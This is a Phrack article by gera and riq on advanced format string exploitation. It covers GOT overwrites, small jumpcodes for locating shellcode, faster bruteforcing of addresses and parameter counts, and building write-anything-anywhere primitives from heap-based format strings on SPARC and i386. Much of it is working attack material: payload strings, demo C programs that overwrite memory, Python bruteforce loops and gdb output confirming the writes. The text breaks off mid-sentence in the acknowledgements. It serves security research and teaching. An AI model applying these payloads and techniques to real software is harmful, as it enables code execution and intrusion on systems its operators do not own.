==Phrack Inc.== 0x0b, Issue 0x3b, Phile #0x07 of 0x12 |=-------------=[ Advances in format string exploitation ]=--------------=| |=-----------------------------------------------------------------------=| |=---------=[ by gera , riq ]=---------=| 1 - Intro Part I 2 - Bruteforcing format strings 3 - 32*32 == 32 - Using jumpcodes 3.1 - write code in any known address 3.2 - the code is somewhere else 3.3 - friendly functions 3.4 - no weird addresses 4 - n times faster 4.1 - multiple address overwrite 4.2 - multiple parameters bruteforcing Part II 5 - Exploiting heap based format strings 6 - the SPARC stack 7 - the trick 7.1 - example 1 7.2 - example 2 7.3 - example 3 7.4 - example 4 8 - building the 4-bytes-write-anything-anywhere primitive 8.1 - example 5 9 - the i386 stack 9.1 - example 6 9.2 - example 7 - the pointer generator 10 - conclusions 10.1 - is it dangerous to overwrite the l0 (on the stack frame) ? 10.2 - is it dangerous to overwrite the ebp (on the stack frame) ? 10.3 - is this reliable ? The End 11 - more greets and thanks 12 - References --[ 1. Intro Is there anything else to say about format strings after all this time? probably yes, or at least we are trying... To start with, go get scut's excellent paper on format strings [1] and read it. This text deals with 2 different subjects. The first is about different tiny tricks that may help speeding up bruteforcing when exploiting format strings bugs, and the second is about exploting heap based format strings bugs. So fasten your seatbelts, the trip has just begun. --[ Part I - by gera --[ 2. Bruteforcing format strings "...Bruteforcing is not a very happy term, and doesn't make justice for a lot of exploit writers, as most of the time a lot of brain power is used to solve the problem in better ways than just brute force..." My greets to all those artists who inspired this phrase, specially ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) and lorian+k. --[ 3. 32*32 == 32 - Using jumpcodes Ok, first things first... A format string lets you, after dealing with it, write what you want where you want... I like to call this a write-anything-anywhere primitive, and the trick described here can be used whenever you have a write-anything-anywhere primitive, be it a format string, an overflow over the "destination pointer of a strcpy()", several free()s in a row, a ret2memcpy buffer overflow, etc. Scut[1], shock[2], and others[3][4] explain several methods to hook the execution flow using a write-anything-anywhere primitive, namely changing GOT, changing some function pointer, atexit() handlers, erm... a virtual member of a class, etc. When you do so, you need to know, guess or predict 2 different addresses: function pointer's address and shellcode's address, each has 32 bits, and if you go blindly bruteforcing, you'll need to get 64 bits... well, this is not true, suppose GOT's address always starts with, mmm... 0x0804 and that your code will be in, erm... 0x0805... ok, for linux this may even be true, so it's not 64 bits, but 32 total, so it's just 4,294,967,296 tries... well, no, because you may be able to provide a cushion of 4K nops, so it goes down to 1,048,576 tries, and as GOT must be walked on 4 bytes steps, it's just 262,144... heh, all theese numbers are just... erm... nonsense. Well, sometimes there are other tricks you can do, use a read primitive to learn something from the target process, or turn a write primitive into a read primitive, or use more nops, or target stack or just hardcode some addresses and go happy with it... But, there is something else you can do, as you are not limited to writing only 4 bytes, you can write more than the address to the shellcode, you can also write the shellcode! ----[ 3.1. write code in any known address Even with a single format string bug you can write not only more than 4, bytes, but you can also write them to different places in memory, so you can choose any known to be writable and executable address, lets say, 0x8051234 (for some target program running on some linux), write some code there, and change the function pointer (GOT, atexit()'s functions, etc) to point it: GOT[read]: 0x8051234 ; of course using read is just ; an example 0x8051234: shellcode What's the difference? Well... shellcode's address is now known, it's always 0x8051234, hence you only have to bruteforce function pointer's address, cutting down the number of bits to 15 in the worst case. Ok, right, you got me... you cannot write a 200 bytes shellcode using this technique with a format string (or can you?), maybe you can write a 30 bytes shellcode, but maybe you only have a few bytes... so, we need a really small jumpcode for this to work. ----[ 3.2. the code is somewhere else I'm pretty sure you'll be able to put the code somewhere in target's memory, in stack or in heap, or somewhere else (!?). If this is the case, we need our jumpcode to locate the shellcode and jump there, what could be really easy, or a little more tricky. If the shellcode is somewhere in stack (in the same format string perhaps?) and if you can, more or less, know how far from the SP it will be when the jumpcode is executed, you can jump relative to the SP with just 8 or 5 bytes: GOT[read]: 0x8051234 0x8051234: add $0x200, %esp ; delta from SP to code jmp *%esp ; just use esp if you can esp+0x200: nops... ; just in case delta is ; not really constant real shellcode ; this is not writen using ; the format string Is the code in heap?, but you don't have the slightest idea where it is? Just follow Kato (this version is 18 bytes, Kato's version is a little longer, but only made of letters, he didn't use a format string though): GOT[read]: 0x8051234 0x8051234: cld mov $0x4f54414a,%eax ; so it doesn find inc %eax ; itself (tx juliano) mov $0x804fff0, %edi ; start searching low ; in memory repne scasl jcxz .-2 ; keep searching! jmp *$edi ; upper case letters ; are ok opcodes. somewhere in heap: 'KATO' ; if you know the alignment 'KKATO' ; one is enough, otherwise 'KKATO' ; make some be found 'KKATO' real shellcode Is it in stack but you don't know where? (10 bytes) GOT[read]: 0x8051234 0x8051234: mov $0x4f54414a,%ebx ; so it doesn find inc %ebx ; itself (tx juliano) pop %eax cmp %ebx, %eax jnz .-3 jmp *$esp somewhere in stack: 'KATO' ; you'll know the alignment real shellcode Something else? ok, you figure your jumpcode yourself :-) But be carefull! 'KATO' may not be a good string, as it's executed and has some side effect. :-) You may even use a jumpcode which copies from stack to heap if the stack is not executable but the heap is. ----[ 3.3. friendly functions When changing GOT you can choose what function pointer you want to use, some functions may be better than others for some targets. For example, if you know that after you changed the function pointer, the buffer containing the shellcode will be free()ed, you can just do: (2 bytes) GOT[free]: 0x8051234 ; using free this time 0x8051234: pop %eax ; discarding real ret addr ret ; jump to free's argument The same may happen with read() if the same buffer with the shellcode is reused to read more from the net, or syslog() or a lot of other functions... Sometimes you may need a jumpcode a little more complex if you need to skip some bytes at the beggining of the shellcode: (7 or 10 bytes) GOT[syslog]: 0x8051234 ; using syslog 0x8051234: pop %eax ; discarding real ret addr pop %eax add $0x50, %eax ; skip some non-code bytes jmp *$eax And if nothing else works, but you can distinguish between a crash and a hung, you can use a jumpcode with an infinite loop that will make the target hung: You bruteforce GOT's address until the server hungs, then you know you have the right address for some GOT entry that works, and you can start bruteforcing the address for the real shellcode. GOT[exit]: 0x8051234 0x8051234: jmp . ; infinite loop ----[ 3.4. no weird addresses As I don't like choosing arbitrary addresses, like 0x8051234, what we can do is something a little different: GOT[free]: &GOT[free]+4 ; point it to next 4 bytes jumpcode ; address is &GOT[free]+4 You don't really know GOT[free]'s address, but on every bruteforcing step you are assuming you know it, then, you can make it point 4 bytes ahead of it, where you can place the jumpcode, i.e. if you assume your GOT[free] is at 0x8049094, your jumpcode will be at 0x8049098, then, you have to write the value 0x8049098 to the address 0x8049094 and the jumpcode to 0x8049098: /* fs1.c * * demo program to show format strings techinques * * specially crafted to feed your brain by gera@corest.com */ int main() { char buf[1000]; strcpy(buf, "\x94\x90\x04\x08" // GOT[free]'s address "\x96\x90\x04\x08" // "\x98\x90\x04\x08" // jumpcode address (2 byte for the demo) "%.37004u" // complete to 0x9098 (0x9098-3*4) "%8$hn" // write 0x9098 to 0x8049094 "%.30572u" // complete to 0x10804 (0x10804-0x9098) "%9$hn" // write 0x0804 to 0x8049096 "%.47956u" // complete to 0x1c358 (0x1c358-0x10804) "%10$hn" // write 5B C3 (pop - ret) to 0x8049098 ); printf(buf); } gera@vaiolent:~/papers/gera$ make fs1 cc fs1.c -o fs1 gera@vaiolent:~/papers/gera$ gdb fs1 (gdb) br main Breakpoint 1 at 0x8048439 (gdb) r Breakpoint 1, 0x08048439 in main () (gdb) n ...0000000000000... (gdb) x/x 0x8049094 0x8049094: 0x08049098 (gdb) x/2i 0x8049098 0x8049098: pop %eax 0x8049099: ret So, if the address of the GOT entry for free() is 0x8049094, the next time free() is called in the program our little jumpcode will be called instead. This last method has another advantage, it can be used not only on format strings, where you can make every write to a different address, but it can also be used with any write-anything-anywhere primitive, like a "destination pointer of strcpy()" overwrite, or a ret2memcpy buffer overflow. Or if you are as lucky [or clever] as lorian, you may even do it with a single free() bug, as he teached me to do. --[ 4. n times faster ----[ 4.1. multiple address overwrite If you can write more than 4 bytes, you can not only put the shellcode or jumpcode where you know it is, you can also change several pointers at the same time, speeding up things again. Of course this can be done, again, with any write-anything-anywhere primitive which let's you write more than just 4 bytes, and, as we are going to write the same values to all the pointers, there is a cheap way to do it with format strings. Suppose we are using the following format string to write 0x12345678 at the address 0x08049094: "\x94\x90\x04\x08" // the address to write the first 2 bytes "AAAA" // space for 2nd %.u "\x96\x90\x04\x08" // the address for the next 2 bytes "%08x%08x%08x%08x%08x%08x" // pop 6 arguments "%.22076u" // complete to 0x5678 (0x5678-4-4-4-6*8) "%hn" // write 0x5678 to 0x8049094 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%hn" // write 0x1234 to 0x8049096 As %hn does not add characters to the output string, we can write the same value to several locations without having to add more padding. For example, to turn this format string into one that writes the value 0x12345678 to 5 consecutive words starting in 0x8049094 we can use: "\x94\x90\x04\x08" // addresses where to write 0x5678 "\x98\x90\x04\x08" // "\x9c\x90\x04\x08" // "\xa0\x90\x04\x08" // "\xa4\x90\x04\x08" // "AAAA" // space for 2nd %.u "\x96\x90\x04\x08" // addresses for 0x1234 "\x9a\x90\x04\x08" // "\x9e\x90\x04\x08" // "\xa2\x90\x04\x08" // "\xa6\x90\x04\x08" // "%08x%08x%08x%08x%08x%08x" // pop 6 arguments "%.22044u" // complete to 0x5678: 0x5678-(5+1+5)*4-6*8 "%hn" // write 0x5678 to 0x8049094 "%hn" // write 0x5678 to 0x8049098 "%hn" // write 0x5678 to 0x804909c "%hn" // write 0x5678 to 0x80490a0 "%hn" // write 0x5678 to 0x80490a4 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%hn" // write 0x1234 to 0x8049096 "%hn" // write 0x1234 to 0x804909a "%hn" // write 0x1234 to 0x804909e "%hn" // write 0x1234 to 0x80490a2 "%hn" // write 0x1234 to 0x80490a6 Or the equivalent using direct parameter access. "\x94\x90\x04\x08" // addresses where to write 0x5678 "\x98\x90\x04\x08" // "\x9c\x90\x04\x08" // "\xa0\x90\x04\x08" // "\xa4\x90\x04\x08" // "\x96\x90\x04\x08" // addresses for 0x1234 "\x9a\x90\x04\x08" // "\x9e\x90\x04\x08" // "\xa2\x90\x04\x08" // "\xa6\x90\x04\x08" // "%.22096u" // complete to 0x5678 (0x5678-5*4-5*4) "%8$hn" // write 0x5678 to 0x8049094 "%9$hn" // write 0x5678 to 0x8049098 "%10$hn" // write 0x5678 to 0x804909c "%11$hn" // write 0x5678 to 0x80490a0 "%12$hn" // write 0x5678 to 0x80490a4 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%13$hn" // write 0x1234 to 0x8049096 "%14$hn" // write 0x1234 to 0x804909a "%15$hn" // write 0x1234 to 0x804909e "%16$hn" // write 0x1234 to 0x80490a2 "%17$hn" // write 0x1234 to 0x80490a6 In this example, the number of "function pointers" to write at the same time was set arbitrary to 5, but it could have been another number. The real limit depends on the length of the string you can supply, how many arguments you need to pop to get to the addresses if you are not using direct parameter access, if there is a limit for direct parameters access (on Solaris' libraries it's 30, on some Linuxes it's 400, and there may be other variations), etc. If you are going to combine a jumpcode with multiple address overwrite, you need to have in mind that the jumpcode will not be just 4 bytes after the function pointer, but some more, depending on how many addresses you'll overwrite at once. ----[ 4.2. multiple parameter bruteforcing Sometimes you don't know how many parameters you have to pop, or how many to skip with direct parameter access, and you need to try until you hit the right number. Sometimes it's possible to do it in a more inteligent way, specially when it's not a blind format string (did I say it already? go read scut's paper [1]!). But anyway, there may be cases when you don't know how many parameters to skip, and have to find it out trying, as in the next pythonish example: pops = 8 worked = 0 while (not worked): fstring = "\x94\x90\x04\x08" # GOT[free]'s address fstring += "\x96\x90\x04\x08" # fstring += "\x98\x90\x04\x08" # jumpcode address fstring += "%.37004u" # complete to 0x9098 fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094 fstring += "%.30572u" # complete to 0x10804 fstring += "%%%d$hn" % (pops+1) # write 0x0804 to 0x8049096 fstring += "%.47956u" # complete to 0x1c358 fstring += "%%%d$hn" % (pops+2) # write (pop - ret) to 0x8049098 worked = try_with(fstring) pops += 1 In this example, the variable 'pops' is incremented while trying to hit the right number for direct parameter access. If we repeat the target addresses, we can build a format string which lets us increment 'pops' faster. For example, repeating each address 5 times we get a faster bruteforcing: pops = 8 worked = 0 while (not worked): fstring = "\x94\x90\x04\x08" * 5 # GOT[free]'s address fstring += "\x96\x90\x04\x08" * 5 # repeat eddress 5 times fstring += "\x98\x90\x04\x08" * 5 # jumpcode address fstring += "%.37004u" # complete to 0x9098 fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094 fstring += "%.30572u" # complete to 0x10804 fstring += "%%%d$hn" % (pops+6) # write 0x0804 to 0x8049096 fstring += "%.47956u" # complete to 0x1c358 fstring += "%%%d$hn" % (pops+11) # write (pop - ret) to 0x8049098 worked = try_with(fstring) pops += 5 Hitting any of the 5 copies well be ok, the most copies you can put the better. This is a simple idea, just repeat the addresses. If it's confusing, grab pen and paper and make some drawings, first draw a stack with the format string in it, and some random number of arguments on top of it, and then start doing the bruteforcing manually... it'll be fun! I guarantee it! :-) It may look stupid but may help you some day, you never know... and of course the same could be done without direct parameter access, but it's a little more complicated as you have to recalculate the length for %.u format specifiers on every try. --[ unnamed and unlisted seccion Through this text my only point was: a format string is more than a mere 4-bytes-write-anything-anywhere primitive, it's almost a full write-anything-anywhre primitive, which gives you more posibilities. So far so good, the rest is up to you... --[ Part II - by riq --[ 5. Exploiting heap based format strings Usually the format strings lies on the stack. But there are cases where it is stored on the heap, and you CAN'T see it. Here I present a way to deal with these format strings in a generic way within SPARC (and big-endian machines), and at the end we'll show you how to do the same for little-endian machines. --[ 6. The SPARC stack In the stack you will find stack frames. These stack frames have local variables, registers, pointers to previous stack frames, return addresses, etc. Since with format strings we can see the stack, we are going to study it more carefully. The stack frames in SPARC looks more or less like the following: frame 0 frame 1 frame 2 [ l0 ] +----> [ l0 ] +----> [ l0 ] [ l1 ] | [ l1 ] | [ l1 ] ... | ... | ... [ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ] ... | ... | ... [ i5 ] | [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] And so on... The fp register is a pointer to the caller frame pointer. As you may guess, 'fp' means frame pointer. The temp_N are local variables that are saved in the stack. The frame 1 starts where the frame 0's local variables end, and the frame 2 starts, where the frame 1's local variables end, and so on. All these frames are stored in the stack. So we can see all of these stack frames with our format strings. --[ 7. the trick The trick lies in the fact that every stack frame has a pointer to the previous stack frame. Furthermore, the more pointers to the stack we have, the better. Why ? Because if we have a pointer to our own stack, we can overwrite the address that it points to with any value. --[ 7.1. example 1 Suppose that we want to put the value 0x1234 in frame 1's l0. What we will try to do is to build a format string, whose length is 0x1234, by the time we've reached stack frame 0's fp with a %n. Supposing that the first argument that we see is the frame 0's l0 register, we should have a format string like the following (in python): '%8x' * 8 + # pop the 8 registers 'l' '%8x' * 5 + # pop the first 5 'i' registers '%4640d' + # modify the length of my string (4640 is 0x1220) and... '%n' # I write where fp is pointing (which is frame 1's l0) So, after the format string has been executed, our stack should look like this: frame 0 frame 1 [ l0 ] +----> [ 0x00001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] --[ 7.2. example 2 If we decided on a bigger number, like 0x20001234, we should find 2 pointers that point to the same address in the stack. It should be something like this: frame 0 frame 1 [ l0 ] +----> [ l0 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] | [ i7 ] [ temp 1] ----+ [ temp 1] [ temp 2] [ Note: We are not going to find always 2 pointers that point to the same address, though it is not rare. ] So, our format string should look like this: '%8x' * 8 + # pop the 8 registers 'l' '%8x' * 5 + # pop the first 5 registers 'i' '%4640d' + # modify the length of my format string (4640 is 0x1220) '%n' # I write where fp is pointing (which is frame 1's l0) '%3530d' + # again, I modify the length of the format string '%hn' # and I write again, but only the hi part this time! And we would get the following: frame 0 frame 1 [ l0 ] +----> [ 0x20001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] | [ i7 ] [ temp 1] ----+ [ temp 1] [ temp 2] --[ 7.3. example 3 In the case that we only have 1 pointer, we can get the same result by using the 'direct parameter access' in the format string, with %argument_number$, where 'argument_number' is a number between 0 and 30 (in Solaris). My format string should be the following: '%4640d' + # change the length '%15$n' + # I write where argument 15 is pointing (arg 15 is fp!) '%3530d' + # change the length again '%15$hn' # write again, but only the hi part! Therefore, we would arrive at the same result: frame 0 frame 1 [ l0 ] +----> [ 0x20001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] --[ 7.4. example 4 But it could well happen that I don't have 2 pointers that point to the same address in the stack, and the first address that points to the stack is outside the scope of the first 30 arguments. What could I then do ? Remember that with plain '%n', you can write very large numbers, like 0x00028000 and higher. You should also keep in mind that the binary's PLT is usually located in very low addresses, like 0x0002????. So, with just one pointer that points to the stack, you can get a pointer that points to the binary's PLT. I don't believe a graphic is necessary in this example. --[ 8. builind the 4-bytes-write-anything-anywhere primitive --[ 8.1. example 5 In order to get a 4-bytes-write-anything-anywhere primitive we should repeat what was done with the stack frame 0, and do it again for another stack frame, like frame 1. Our result should look something like the following: frame 0 frame 1 frame 2 [ l0 ] +----> [0x00029e8c] +----> [0x00029e8e] [ l1 ] | [ l1 ] | [ l1 ] ... | ... | ... [ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ] ... | ... | ... [ i5 ] | [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] | [ i7 ] [ temp 1] [ temp 1] | [ temp 2] ----+ [ temp 3] [Note: As long as the code we want to change is located in 0x00029e8c ] So, now that we have 2 pointers, one that points to 0x00029e8c and another that points to 0x00029e8e, we have finally achieved our goal! Now, we can exploit this situation just like any other format string vulnerability :) The format string will look like this: '%4640d' + # change the length '%15$n' + # with 'direct parameter access' I write the lower part # of frame 1's l0 '%3530d' + # change the length again '%15$hn' + # overwrite the higher part '%9876d' + # change the length '%18$hn' + # And write like any format string exploit! '%8x' * 13+ # pop 13 arguments (from argument 15) '%6789d' + # change length '%n' + # write lower part '%8x' + # pop '%1122d' + # modify length '%hn' + # write higher part '%2211d' + # modify length '%hn' # And write, again, like any format string exploit. As you can see, this was done with just one format string. But this is not always possible. If we can't build 2 pointers, what we need to do, is to abuse the format string twice. First, we build a pointer that points to 0x00029e8c. Then, we overwrite the value that 0x00029e8c points to with '%hn'. The second time in which we abuse of the format string, we do the same as we did before, but with a pointer to 0x00029e8e. There is no real need for two pointers (0x00029e8c and 0x00029e8e), as writing first the lower part with %n and then the higher part with %hn will work, but you'll have to use the same pointer twice, only possible with direct parameter access. --[ 9. the i386 stack We can also, exploit a heap based format strings in the i386 arquitecture using a very similar technique. Lets see how the i386 stack works. frame 0 frame 1 frame 2 frame 3 [ ebp ] ---> [ ebp ] ---> [ ebp ] ---> [ ebp ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] [ ... ] As you can see, i386's stack is very similar to SPARC's, the main difference is that all the addresses are stored in little-endian format. frame0 frame1 [ LSB | MSB ] ---> [ LSB | MSB ] [ ] [ ] So, the trick we were using in SPARC of overwriting address's LSB with '%n', and then overwriting its MSB with '%hn' with just one pointer won't work in this architecture. We need an additional pointer, pointing to MSB's address, in order to change it. Something like this: +----------------------------+ | | | V [LSB | MSB] | [LSB | MSB] ---> [LSB | MSB] [ ] | [ ] [ ] [ ] -+ [ ] [ ] [ ... ] [ ... ] [ ... ] Frame B Frame C Frame D Heh! as you probably guessed, this is not very common on everyday stacks, so, what we are going to do, is build the pointers we need, and then, of course, use them. Warning! We just found out that this technique does not work on latest Linuxes, we are not even sure if works on any (it depends on libc/glibc version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris x86). --[ 9.1. example 6 This trick will need an aditional frame... latter we'll try to get rid of as many frames as possible. +----------------------------+ | | | V [LSB | MSB] ---> [LSB | MSB] -+ [LSB | MSB] ---> [LSB | MSB] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C Frame D Frame A has a pointer to Frame B. Specifically, it's pointing to Frame B's ebp. So we can modify the LSB of Frame B's ebp, with an '%hn'. And that is what we wanted!. Now Frame B is not pointing to Frame C, but to the MSB of Frame D's ebp. We are abusing the fact that ebp is already pointing to the stack, and we assume that changing its 2 LSB will be enough to make it point to another frame's saved ebp. There may be some problems with this (if Frame D is not on the same 64k "segment" of Frame C), but we'll get rid of this problem in the following examples. So with 4 stack frames, we could build one pointer in the stack, and with that pointer we could write 2 bytes anywhere in memory. If we have 8 stack frames we could repeat the process and build 2 pointers in the stack, allowing us to write 4 bytes anywhere in memory. --[ 9.2. example 7 - the pointer generator There are cases where you don't have 8 (or 4) stack frames. What can we do then? Well, using direct parameter access, we could use just 3 stack frames to do everything, and not only a 4-bytes-write-anything-anywhere primitive but almost a full write-anything-anywhere primitive. Lets see how we can do it, heavily abusing direct parameter access, our target? to build the address 0xdfbfddf0 in the stack, so we can use it latter with another %hn to write there. step 1: Frame B's saved frame pointer (saved ebp) is already pointing to Frame C's saved ebp, so, the first thing we are going to do is change Frame's C LSB: [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C Since we know where in the stack is Frame B, we could use direct parameter access to access parameters out of order... and probably not just once. Latter we'll see how to find the direct parameter access number we need, right now lets just assume Frame B's is 14. # step 1 '%.56816u' + # change the length (we want to write 0xddf0) '%14$hn' + # Write where argument 14 is pointing # (arg 14 is Frame B's ebp) What we get is a modified Frame C's ebp. step 2: [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C As Frame A's ebp is already pointing to Frame B's ebp, we can use it to change the LSB of Frame B's ebp, and as it is already pointing to Frame C's ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the 64k segments problem this time, as Frame C's ebp's LSB must be in the same segment as its MSB, as it's always 4 bytes aligned... I know it's confusing... For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's ebp to point to 0xdfbfdd6e, so we can write target address' MSB. # step 2 '%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0) '%6$hn' + # Write where argument 6 is pointing # (assuming arg 6 is Frame A's ebp) step 3: +----------+ | V [ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C The new Frame B points to the MSB of the Frame C's ebp. And now, with another direct parameter access, we build the MSB of the address that we were looking for. # step 3 '%.593u' + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e) '%14$n' + # Write where argument 14 is pointing # (arg 14 is Frame B's ebp) our result: +----------+ | V [ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| dfbf] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C As you can see, we have our pointer in Frame C's ebp, now we could use it to write 2 bytes anywhere in memory. This won't be enough normally to make an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES AGAIN, to build another pointer (and another, and another...) Hey, we've found a pointer generator :-) with only 3 stack frames. Got the theory? let's put all this together in an example. The following code will use 3 frames (A,B,C) and multiple parameters access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was tested on an OpenBSD 3.0, and can be tried on other systems. We'll show you here how to tune it to your box. /* fs2.c * * demo program to show format strings techinques * * specially crafted to feed your brain by gera@corest.com */ do_printf(char *msg) { printf(msg); } #define FrameC 0xdfbfdd6c #define counter(x) ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a) char *write_two_bytes( unsigned long where, unsigned short what, int restoreFrameB) { static char buf[1000]={0}; // enough? sure! :) static int a,b=0; if (restoreFrameB) sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff))); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff)); sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2)); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10)); sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what)); return buf; } int main() { char *buf; buf = write_two_bytes(0xdfbfddf0,0xccdd,0); buf = write_two_bytes(0xdfbfddf2,0xaabb,1); do_printf(buf); } The values you'll need to change are: %6$ number of parameter for Frame A's ebp %14$ number of parameter for Frame B's ebp %29$ number of parameter for Frame C's ebp 0xdfbfdd6c address of Frame C's ebp To get the right values: gera@vaiolent> cc -o fs fs.c gera@vaiolent> gdb fs (gdb) br do_printf (gdb) r (gdb) disp/i $pc (gdb) ni (gdb) p "run until you get to the first call in do_printf" (gdb) ni 1: x/i $eip 0x17a4 : call 0x208c <_DYNAMIC+140> (gdb) bt #0 0x17a4 in do_printf () #1 0x1968 in main () (gdb) x/40x $sp 0xdfbfdcf8: 0x000020d4 0xdfbfdd70 0xdfbfdd00 0x0000195f 0xdfbfdd08: 0xdfbfddf2 0x0000aabb [0xdfbfdd30]--+ (0x00001968) 0xdfbfdd18: 0x000020d4 0x0000ccdd 0x00000000 | 0x00001937 0xdfbfdd28: 0x00000000 0x00000000 +-[0xdfbfdd6c]<-+ 0x0000109c 0xdfbfdd38: 0x00000001 0xdfbfdd74 | 0xdfbfdd7c 0x00002000 0xdfbfdd48: 0x0000002f 0x00000000 | 0x00000000 0xdfbfdff0 0xdfbfdd58: 0x00000000 0x0005a0c8 | 0x00000000 0x00000000 0xdfbfdd68: 0x00002000 [0x00000000]<-+ 0x00000001 0xdfbfddd4 0xdfbfdd78: 0x00000000 0xdfbfddeb 0xdfbfde04 0xdfbfde0f 0xdfbfdd88: 0xdfbfde50 0xdfbfde66 0xdfbfde7e 0xdfbfde9e Ok, time to start getting the right values. First, 0x1968 (from previous 'bt' command) is where do_printf() will return after finishing, locate it in the stack (in this example it's at 0xdfbfdd14). The previous word is where Frame A starts, and is where Frame A's ebp is saved, here it's 0xdfbfdd30. Great! now we need the direct parameter access number for it, so, as we executed up to the call, the first word in the stack is the first argument for printf(), numbered 0. If you count, starting from 0, up to Frame A's ebp, you'll count 6 words, that's the number we want. Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp, here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now Frame B's saved ebp is ponting to Frame C's ebp, so, we already have another value: 0xdfbfdd6c. And to get the last number needed, you need to count again, until you get to Frame C's ebp (count until you get to the address 0xdfbfdd6c), you should get 29. Now edit your fs.c, compile it, gdb it, and run past the call (one more 'ni'), you should see a lot of zeros and then: (gdb) x/x 0xdfbfddf0 0xdfbfddf0: 0xaabbccdd Apparently it does work after all :-) There are some interesting variants. In this example, printf() is not called from main(), but from do_printf(). This is an artifact so we had 3 frames to play with. If the printf() is directly in main(), you will not have three frames, but you could do just the same using argv and *argv, as the only real things you need are a pointer in the stack, pointing to another pointer in the stack pointing somewhere in the stack. Another interesting method (probably even more interesting than the original), is to target not a function pointer but a return address in stack. This method will be a lot shorter (just 2 %hn per short to write, and only 2 frames needed), a lot of addresses could be bruteforced at the same time, and of course, you could use a jumpcode if you want. This time We'll leave the experimentation with this two variantes (and others) to the reader. It is noteworthy, that with this technique in i386, Frame B breaks the chain of the stack frames, so if the program you're exploiting needs to use Frame C, it's probably that it will segfault, hence you'll need to hook the execution flow before the crash. --[ 10. conclusions --[ 10.1. is it dangerous to overwrite the l0 (on the stack frame) ? This is not perfect, but practice shows that you will not have many problems in changing the value of l0. But, would you be unlucky, you may prefer to modify the l0's that belongs to main()'s and _start()'s stack frames. --[ 10.2. is it dangerous to overwrite the ebp (on the stack frame) ? Yes, it's very dangerous. Probably your program will crash. But as we saw, you can restore the original ebp value using the pointer generator :-) And as in the SPARC case, you may prefer to modify the ebp's that belongs to the main(), _start(), etc, stack frames. --[ 10.3. is this reliable ? If you know the state of the stack, or if you know the sizes of the stack frames, it is reliable. Otherwise, unless the situation lets you implement some smooth way of bruteforcing all the numbers needed, this technique won't help you much. I think when you have to overwrite values that are located in addresses that have zeros, this may be your only hope, since, you won't be able to put a zero in your format string (because it will truncate your string). Also in SPARC, the binaries' PLT are located in low addresses and it is more reliable to overwrite the binary's PLT than the libc's PLT. Why is this so? Because, I would guess, in Solaris libc changes more frequently than the binary that you want to exploit. And probably, the binary you want to exploit will never change! --[ The End --[ 11. more greets and thanks gera: riq, for trying every stupid idea I have and making it real! juliano, for being our format strings guru. Impact, for forcing me to spend time thinking about all theese amazing things. last minute addition: I just learned of the existence of a library called fmtgen, Copyrighted by fish stiqz. It's a format string construction library, and it can be used (as suggested in its Readme), to write jumpcodes or even shellcodes as well as addresses. This are the last lines I'm adding to the article, I wish I had a little more time, to study it, but we are in a hurry, you know :-) riq: gera, for finding out how to exploit the heap based format strings in i386, for his ideas, suggestions and fixes. juliano, for letting me know that I can overwrite, as may times as I want an address using 'direct access', and 